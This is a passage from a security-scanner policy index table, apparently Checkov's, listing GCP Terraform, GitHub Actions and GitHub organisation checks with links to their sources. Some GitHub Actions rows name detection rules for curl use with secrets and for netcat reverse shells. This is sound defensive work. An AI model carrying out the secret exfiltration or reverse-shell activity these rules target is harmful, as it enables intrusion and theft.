Cluster configuration | Terraform | [GKEDontUseNodePools.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDontUseNodePools.py) | | 6549 | CKV_GCP_124 | resource | google_cloudfunctions2_function | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting | Terraform | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py) | | 6550 | CKV_GCP_124 | resource | google_cloudfunctions_function | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting | Terraform | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py) | | 6551 | CKV_GCP_125 | resource | google_iam_workload_identity_pool_provider | Ensure GCP GitHub Actions OIDC trust policy is configured securely | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GithubActionsOIDCTrustPolicy.py) | | 6552 | CKV_GCP_126 | resource | google_notebooks_instance | Ensure Vertex AI Notebook instances are launched with Shielded VM enabled | Terraform | [GoogleVertexAINotebookShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleVertexAINotebookShieldedVM.py) | | 6553 | CKV_GCP_127 | resource | google_notebooks_instance | Ensure Integrity Monitoring for Shielded Vertex AI Notebook Instances is Enabled | Terraform | [VertexAINotebookEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAINotebookEnsureIntegrityMonitoring.py) | | 6554 | CKV2_GCP_1 | resource | google_project_default_service_accounts | Ensure GKE clusters are not running using the Compute Engine default service account | Terraform | [GKEClustersAreNotUsingDefaultServiceAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GKEClustersAreNotUsingDefaultServiceAccount.yaml) | | 6555 | CKV2_GCP_2 | resource | google_compute_network | Ensure legacy networks do not exist for a project | Terraform | [GCPProjectHasNoLegacyNetworks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPProjectHasNoLegacyNetworks.yaml) | | 6556 | CKV2_GCP_3 | resource | google_service_account_key | Ensure that there are only GCP-managed service account keys for each service account | Terraform | [ServiceAccountHasGCPmanagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/ServiceAccountHasGCPmanagedKey.yaml) | | 6557 | CKV2_GCP_4 | resource | google_logging_folder_sink | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 6558 | CKV2_GCP_4 | resource | google_logging_organization_sink | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 6559 | CKV2_GCP_4 | resource | google_logging_project_sink | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 6560 | CKV2_GCP_4 | resource | google_storage_bucket | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 6561 | CKV2_GCP_5 | resource | google_project | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project | Terraform | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml) | | 6562 | CKV2_GCP_5 | resource | google_project_iam_audit_config | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project | Terraform | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml) | | 6563 | CKV2_GCP_6 | resource | google_kms_crypto_key | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml) | | 6564 | CKV2_GCP_6 | resource | google_kms_crypto_key_iam_binding | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml) | | 6565 | CKV2_GCP_6 | resource | google_kms_crypto_key_iam_member | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml) | | 6566 | CKV2_GCP_7 | resource | google_sql_database_instance | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges | Terraform | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml) | | 6567 | CKV2_GCP_7 | resource | google_sql_user | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges | Terraform | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml) | | 6568 | CKV2_GCP_8 | resource | google_kms_key_ring | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml) | | 6569 | CKV2_GCP_8 | resource | google_kms_key_ring_iam_binding | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml) | | 6570 | CKV2_GCP_8 | resource | google_kms_key_ring_iam_member | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml) | | 6571 | CKV2_GCP_9 | resource | google_container_registry | Ensure that Container Registry repositories are not anonymously or publicly accessible | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml) | | 6572 | CKV2_GCP_9 | resource | google_storage_bucket_iam_binding | Ensure that Container Registry repositories are not anonymously or publicly accessible | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml) | | 6573 | CKV2_GCP_9 | resource | google_storage_bucket_iam_member | Ensure that Container Registry repositories are not anonymously or publicly accessible | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml) | | 6574 | CKV2_GCP_10 | resource | google_cloudfunctions_function | Ensure GCP Cloud Function HTTP trigger is secured | Terraform | [CloudFunctionSecureHTTPTrigger.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/CloudFunctionSecureHTTPTrigger.yaml) | | 6575 | CKV2_GCP_11 | resource | google_project_services | Ensure GCP GCR Container Vulnerability Scanning is enabled | Terraform | [GCRContainerVulnerabilityScanningEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCRContainerVulnerabilityScanningEnabled.yaml) | | 6576 | CKV2_GCP_12 | resource | google_compute_firewall | Ensure GCP compute firewall ingress does not allow unrestricted access to all ports | Terraform | [GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml) | | 6577 | CKV2_GCP_13 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_duration' is set to 'on' | Terraform | [GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml) | | 6578 | CKV2_GCP_14 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_executor_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml) | | 6579 | CKV2_GCP_15 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_parser_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml) | | 6580 | CKV2_GCP_16 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_planner_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml) | | 6581 | CKV2_GCP_17 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_statement_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml) | | 6582 | CKV2_GCP_18 | resource | google_compute_network | Ensure GCP network defines a firewall and does not use the default firewall | Terraform | [GCPNetworkDoesNotUseDefaultFirewall.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPNetworkDoesNotUseDefaultFirewall.yaml) | | 6583 | CKV2_GCP_19 | resource | google_container_cluster | Ensure GCP Kubernetes engine clusters have 'alpha cluster' feature disabled | Terraform | [GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml) | | 6584 | CKV2_GCP_20 | resource | google_sql_database_instance | Ensure MySQL DB instance has point-in-time recovery backup configured | Terraform | [GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml) | | 6585 | CKV2_GCP_21 | resource | google_notebooks_instance | Ensure Vertex AI instance disks are encrypted with a Customer Managed Key (CMK) | Terraform | [GCPVertexInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexInstanceEncryptedWithCMK.yaml) | | 6586 | CKV2_GCP_22 | resource | google_document_ai_processor | Ensure Document AI Processors are encrypted with a Customer Managed Key (CMK) | Terraform | [GCPDocumentAIProcessorEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIProcessorEncryptedWithCMK.yaml) | | 6587 | CKV2_GCP_23 | resource | google_document_ai_warehouse_location | Ensure Document AI Warehouse Location is configured to use a Customer Managed Key (CMK) | Terraform | [GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml) | | 6588 | CKV2_GCP_24 | resource | google_vertex_ai_endpoint | Ensure Vertex AI endpoint uses a Customer Managed Key (CMK) | Terraform | [GCPVertexAIEndpointEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIEndpointEncryptedWithCMK.yaml) | | 6589 | CKV2_GCP_25 | resource | google_vertex_ai_featurestore | Ensure Vertex AI featurestore uses a Customer Managed Key (CMK) | Terraform | [GCPVertexAIFeaturestoreEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIFeaturestoreEncryptedWithCMK.yaml) | | 6590 | CKV2_GCP_26 | resource | google_vertex_ai_tensorboard | Ensure Vertex AI tensorboard uses a Customer Managed Key (CMK) | Terraform | [GCPVertexAITensorboardEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAITensorboardEncryptedWithCMK.yaml) | | 6591 | CKV2_GCP_27 | resource | google_workbench_instance | Ensure Vertex AI workbench instance disks are encrypted with a Customer Managed Key (CMK) | Terraform | [GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml) | | 6592 | CKV2_GCP_28 | resource | google_workbench_instance | Ensure Vertex AI workbench instances are private | Terraform | [GCPVertexWorkbenchInstanceNoPublicIp.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceNoPublicIp.yaml) | | 6593 | CKV2_GCP_29 | resource | google_dialogflow_agent | Ensure logging is enabled for Dialogflow agents | Terraform | [GCPDialogFlowAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowAgentLoggingEnabled.yaml) | | 6594 | CKV2_GCP_30 | resource | google_dialogflow_cx_agent | Ensure logging is enabled for Dialogflow CX agents | Terraform | [GCPDialogFlowCxAgentLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxAgentLoggingEnabled.yaml) | | 6595 | CKV2_GCP_31 | resource | google_dialogflow_cx_webhook | Ensure logging is enabled for Dialogflow CX webhooks | Terraform | [GCPDialogFlowCxWebhookLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxWebhookLoggingEnabled.yaml) | | 6596 | CKV2_GCP_32 | resource | google_tpu_v2_vm | Ensure TPU v2 is private | Terraform | [GCPTpuV2VmPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPTpuV2VmPrivateEndpoint.yaml) | | 6597 | CKV2_GCP_33 | resource | google_vertex_ai_endpoint | Ensure Vertex AI endpoint is private | Terraform | [GCPVertexAIPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateEndpoint.yaml) | | 6598 | CKV2_GCP_34 | resource | google_vertex_ai_index_endpoint | Ensure Vertex AI index endpoint is private | Terraform | [GCPVertexAIPrivateIndexEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateIndexEndpoint.yaml) | | 6599 | CKV2_GCP_35 | resource | google_notebooks_runtime | Ensure Vertex AI runtime is encrypted with a Customer Managed Key (CMK) | Terraform | [GCPVertexRuntimeEncryptedWithCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimeEncryptedWithCMK.yaml) | | 6600 | CKV2_GCP_36 | resource | google_notebooks_runtime | Ensure Vertex AI runtime is private | Terraform | [GCPVertexRuntimePrivate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimePrivate.yaml) | | 6601 | CKV2_GCP_37 | resource | google_compute_forwarding_rule | Ensure GCP compute regional forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme | Terraform | [GCPComputeRegionalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeRegionalForwardingRuleCheck.yaml) | | 6602 | CKV2_GCP_38 | resource | google_compute_global_forwarding_rule | Ensure GCP compute global forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme | Terraform | [GCPComputeGlobalForwardingRuleCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeGlobalForwardingRuleCheck.yaml) | | 6603 | CKV_GHA_1 | jobs | jobs | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables | github_actions | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py) | | 6604 | CKV_GHA_1 | jobs | jobs.*.steps[] | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables | github_actions | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py) | | 6605 | CKV_GHA_2 | jobs | jobs | Ensure run commands are not vulnerable to shell injection | github_actions | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py) | | 6606 | CKV_GHA_2 | jobs | jobs.*.steps[] | Ensure run commands are not vulnerable to shell injection | github_actions | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py) | | 6607 | CKV_GHA_3 | jobs | jobs | Suspicious use of curl with secrets | github_actions | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py) | | 6608 | CKV_GHA_3 | jobs | jobs.*.steps[] | Suspicious use of curl with secrets | github_actions | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py) | | 6609 | CKV_GHA_4 | jobs | jobs | Suspicious use of netcat with IP address | github_actions | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py) | | 6610 | CKV_GHA_4 | jobs | jobs.*.steps[] | Suspicious use of netcat with IP address | github_actions | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py) | | 6611 | CKV_GHA_5 | jobs | jobs | Found artifact build without evidence of cosign sign execution in pipeline | github_actions | [CosignArtifacts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignArtifacts.py) | | 6612 | CKV_GHA_6 | jobs | jobs | Found artifact build without evidence of cosign sbom attestation in pipeline | github_actions | [CosignSBOM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignSBOM.py) | | 6613 | CKV_GHA_7 | jobs | on | The build output cannot be affected by user parameters other than the build entry point and the top-level source location. GitHub Actions workflow_dispatch inputs MUST be empty. | github_actions | [EmptyWorkflowDispatch.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/EmptyWorkflowDispatch.py) | | 6614 | CKV2_GHA_1 | resource | permissions | Ensure top-level permissions are not set to write-all | github_actions | [ReadOnlyTopLevelPermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/graph_checks/ReadOnlyTopLevelPermissions.yaml) | | 6615 | CKV_GIT_1 | resource | github_repository | Ensure GitHub repository is Private | Terraform | [PrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/PrivateRepo.py) | | 6616 | CKV_GIT_2 | resource | github_repository_webhook | Ensure GitHub repository webhooks are using HTTPS | Terraform | [WebhookInsecureSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/WebhookInsecureSsl.py) | | 6617 | CKV_GIT_3 | resource | github_repository | Ensure GitHub repository has vulnerability alerts enabled | Terraform | [RepositoryEnableVulnerabilityAlerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/RepositoryEnableVulnerabilityAlerts.py) | | 6618 | CKV_GIT_4 | resource | github_actions_environment_secret | Ensure GitHub Actions secrets are encrypted | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py) | | 6619 | CKV_GIT_4 | resource | github_actions_organization_secret | Ensure GitHub Actions secrets are encrypted | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py) | | 6620 | CKV_GIT_4 | resource | github_actions_secret | Ensure GitHub Actions secrets are encrypted | Terraform | [SecretsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/SecretsEncrypted.py) | | 6621 | CKV_GIT_5 | resource | github_branch_protection | GitHub pull requests should require at least 2 approvals | Terraform | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py) | | 6622 | CKV_GIT_5 | resource | github_branch_protection_v3 | GitHub pull requests should require at least 2 approvals | Terraform | [BranchProtectionReviewNumTwo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionReviewNumTwo.py) | | 6623 | CKV_GIT_6 | resource | github_branch_protection | Ensure GitHub branch protection rules requires signed commits | Terraform | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py) | | 6624 | CKV_GIT_6 | resource | github_branch_protection_v3 | Ensure GitHub branch protection rules requires signed commits | Terraform | [BranchProtectionRequireSignedCommits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/github/BranchProtectionRequireSignedCommits.py) | | 6625 | CKV2_GIT_1 | resource | github_repository | Ensure each Repository has branch protection associated | Terraform | [RepositoryHasBranchProtection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/github/RepositoryHasBranchProtection.yaml) | | 6626 | CKV_GITHUB_1 | github_configuration | * | Ensure GitHub organization security settings require 2FA | github_configuration | [2fa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/2fa.py) | | 6627 | CKV_GITHUB_2 | github_configuration | * | Ensure GitHub organization security settings require SSO | github_configuration | [sso.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/sso.py) | | 6628 | CKV_GITHUB_3 | github_configuration | * | Ensure GitHub organization security settings has IP allow list enabled | github_configuration | [ipallowlist.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/ipallowlist.py) | | 6629 | CKV_GITHUB_4 | github_configuration | * | Ensure GitHub branch protection rules requires signed commits | github_configuration | [require_signatures.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_signatures.py) | | 6630 | CKV_GITHUB_5 | github_configuration | * | Ensure GitHub branch protection rules does not allow force pushes | github_configuration | [disallow_force_pushes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_force_pushes.py) | | 6631 | CKV_GITHUB_6 | github_configuration | * | Ensure GitHub organization webhooks are using HTTPS | github_configuration | [webhooks_https_orgs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_orgs.py) | | 6632 | CKV_GITHUB_7 | github_configuration | * | Ensure GitHub repository webhooks are using HTTPS | github_configuration | [webhooks_https_repos.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_repos.py) | | 6633 | CKV_GITHUB_8 | github_configuration | * | Ensure GitHub branch protection rules requires linear history | github_configuration | [require_linear_history.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_linear_history.py) | | 6634 | CKV_GITHUB_9 | github_configuration | * | Ensure 2 admins are set for each repository | github_configuration | [repository_collaborators.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/repository_collaborators.py) | | 6635 | CKV_GITHUB_10 | github_configuration | * | Ensure branch protection rules are enforced on administrators | github_configuration | [enforce_branch_protection_admins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/enforce_branch_protection_admins.py) | | 6636 | CKV_GITHUB_11 | github_configuration | * | Ensure GitHub branch protection dismisses stale review on new commit | github_configuration | [dismiss_stale_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/dismiss_stale_reviews.py) | | 6637 | CKV_GITHUB_12 | github_configuration | * | Ensure GitHub branch protection restricts who can dismiss PR reviews | github_configuration | [restrict_pr_review_dismissal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/restrict_pr_review_dismissal.py) | | 6638 | CKV_GITHUB_13 | github_configuration | * | Ensure GitHub branch protection requires CODEOWNER reviews | github_configuration | [require_code_owner_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_code_owner_reviews.py) | | 6639 | CKV_GITHUB_14 | github_configuration | * | Ensure all checks have passed before the merge of new code | github_configuration | [require_status_checks_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_status_checks_pr.py) | | 6640 | CKV_GITHUB_15 | github_configuration | * | Ensure inactive branches are reviewed and removed periodically | github_configuration | [disallow_inactive_branch_60days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_inactive_branch_60days.py) | | 6641 | CKV_GITHUB_16 | github_configuration | * | Ensure GitHub branch protection requires conversation resolution | github_configuration | [require_conversation_resolution.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_conversation_resolution.py) | | 6642 | CKV_GITHUB_17 | github_configuration | * | Ensure GitHub branch protection requires push restrictions | github_configuration | [require_push_restrictions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_push_restrictions.py) | | 6643 | CKV_GITHUB_18 | github_configuration | * | Ensure GitHub branch protection rules does not allow deletions | github_configuration | [disallow_branch_deletions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_branch_deletions.py) | | 6644 | CKV_GITHUB_19 | github_configuration | * | Ensure any change to code receives approval of two strongly authenticated users | github_configuration | [require_2approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_2approvals.py) | | 6645 | CKV_GITHUB_20 | github_configuration | * | Ensure open git branches are up to date before they can be merged into codebase | github_configuration | [require_updated_branch_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_updated_branch_pr.py) | | 6646 | CKV_GITHUB_21 | github_configuration | * | Ensure public repository creation is limited to specific members | github_configuration | [public_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/public_repository_creation_is_limited.py) | | 6647 | CKV_GITHUB_22 | github_configuration | * | Ensure private repository creation is limited to specific members | github_configuration | [private_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/private_repository_creation_is_limited.py) | | 6648 | CKV_GITHUB_23 | github_configuration | * | Ensure internal repository creation is limited to specific members | github_configuration | [internal_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/internal_repository_creation_is_limited.py) | | 6649 | CKV_GITHUB_26 | github_configuration | * | Ensure minimum admins are set for the organization | github_configuration | [minimum_admins_in_org.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/minimum_admins_in_org.py) | | 6650 | CKV_GITHUB_27 | github_configuration | * | Ensure strict base permissions are set for repositories | github_configuration | [require_strict_base_permissions_repository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_strict_base_permissions_repository.py) | | 6651 | CKV_GITHUB_28 | github_configuration | * | Ensure an organization's identity is confirmed with a Verified badge Passed | github_configuration | [require_verified_organization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_verified_organization.py) | | 6652 | CKV_GITLAB_1 | gitlab_configuration | * | Merge requests should require at least 2 approvals | gitlab_configuration | 